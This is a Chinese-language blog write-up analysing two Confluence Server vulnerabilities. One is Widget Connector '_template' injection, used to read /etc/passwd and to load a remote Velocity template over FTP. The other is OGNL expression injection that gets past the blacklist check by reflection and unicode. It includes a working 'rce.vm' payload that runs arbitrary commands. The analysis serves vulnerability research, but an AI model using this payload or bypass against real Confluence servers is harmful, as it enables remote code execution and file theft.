记一次安全漏洞分析

Posted kali_Ma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次安全漏洞分析相关的知识,希望对你有一定的参考价值。

漏洞分析

环境搭建用了vulhub的环境,版本为

Confluence Server 6.10.2

Widget ConnectorConfluence的一个插件,对比一下修复前后的插件

Confluence 6.13.06.13.3

widgetconnector-3.1.0.jar!\\com\\atlassian\\confluence\\extra\\widgetconnector\\WidgetMacro.class

可以看见补丁在这里加了一个过滤函数,函数内容为遍历sanitizeFields并从paramters中删除对应字段,这里只有一个_template,那么补丁就是删除了parameters中的_template字段

然后应该去看文档,寻找用了Widget Connector的操作

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

抓包得到post数据

"contentId":"98368","macro":"name":"widget","params":"url":"https://www.youtube.com/watch?v=k6lK5hlB1nQ","width":"100","height":"100","body":""

url不为空则进入this.renderManager.getEmbeddedhtml(url, parameters)

DefaultRenderManager#getEmbeddedHtml

这里的会根据输入的url,遍历这几个WidgetRenderer匹配url,匹配到就进入对应WidgetRenderer的getEmbeddedHtml方法

如这里YoutubeRenderer,匹配成功

然后进入YoutubeRenderer#getEmbeddedHtml

之所以会输入youtube的url是因为YoutubeRenderer的参数设置函数中的_template可控

继续往下

loadResource:322, ConfigurableResourceManager (com.atlassian.confluence.util.velocity)
getResource:297, ConfigurableResourceManager (com.atlassian.confluence.util.velocity)
getTemplate:1399, RuntimeInstance (org.apache.velocity.runtime)
getTemplate:422, VelocityEngine (org.apache.velocity.app)
getTemplate:89, VelocityUtils (com.atlassian.confluence.util.velocity)
renderTemplateWithoutSwallowingErrors:75, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)

直到ConfigurableResourceManager#loadResource

这里会循环this.resourceLoaders来加载资源,分别为

com.atlassian.confluence.setup.velocity.HibernateResourceLoader ORM资源加载器

org.apache.velocity.runtime.resource.loader.FileResourceLoader 文件读取

org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader 文件加载

com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader 动态插件资源加载器

所以看FileResourceLoader和ClasspathResourceLoadergetResourceStream方法就行了

FileResourceLoader#getResourceStream

这里有过滤函数

循环判断是否以/…/开头

所以FileResourceLoader#getResourceStream不能跨目录读文件,只能读安装路径下的文件

看另外一个加载器ClasspathResourceLoader#getResourceStream

这次将_template改为file:///etc/passwd

ClassUtils#getResourceAsStream

前几个ClassLoader都无法加载,最终需要调用ParallelWebappClassLoadergetResourceAsStream

最终会调用到WebappClassLoaderBase#getResourceAsStream

617行在获取resource时,路径会被拼接为/WEB-INF/classes/file:/etc/passwd,找不到该resource那么stream=null,进入 625行,这里调用了父类的findResource,也就是URLClassLoader来返回一个url资源,这里支持file https ftp等协议,627行返回URL资源不为空则获取内容

最终将数据封装入Template一路返回渲染vm模板

所以这里可以控制vm模板中的内容造成模板注入

rce.vm

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\\\A"))
#if($scan.hasNext())
    $scan.next()
#end

这里用ftp协议,python -m pyftpdlib -p 8888

影响版本

*   version < 6.13.23
*   6.14.0 ≤ version < 7.4.11
*   7.5.0 ≤ version < 7.11.5
*   7.12.0 ≤ version < 7.12.5

漏洞分析

补丁应该是把queryString的ognl取值去掉了

因为这里是ognl表达式注入,所以可以把断点打到

OgnlValueStack#findValue

调用栈大致可以分为

在getValue前一步有安全检查

webwork-2.1.5-atlassian-3.jar!\\com\\opensymphony\\webwork\\util\\OgnlValueFinder.class

32行这里会对表达式进行编译(解析unicode)然后放入containsUnsafeExpression检查

具体内容黑名单如下

  1. 第一个hashset限制了静态方法、字段、构造方法
  2. 第二个和第三个hashset限制了获取classloader,如:xxx.class或者xxx.getClass()
  3. 第四个hashset限制了编译后的结果中不能出现特定的变量

可以用反射绕过,然后就是ognl注入了,由于要逃逸expr的单引号,而直接传单引号会被html实体编码,所以可以利用OgnlUtil.compile解析unicode绕

以上是关于记一次安全漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

记一次Spring4shell漏洞分析

记一次安全评估

记一次网站渗透的漏洞挖掘记录

PHP代码审计 | 记一次CMS代码审计

渗透测试之XSS漏洞:记一次模拟注入攻击

记一次URL重定向漏洞的探测脚本的优化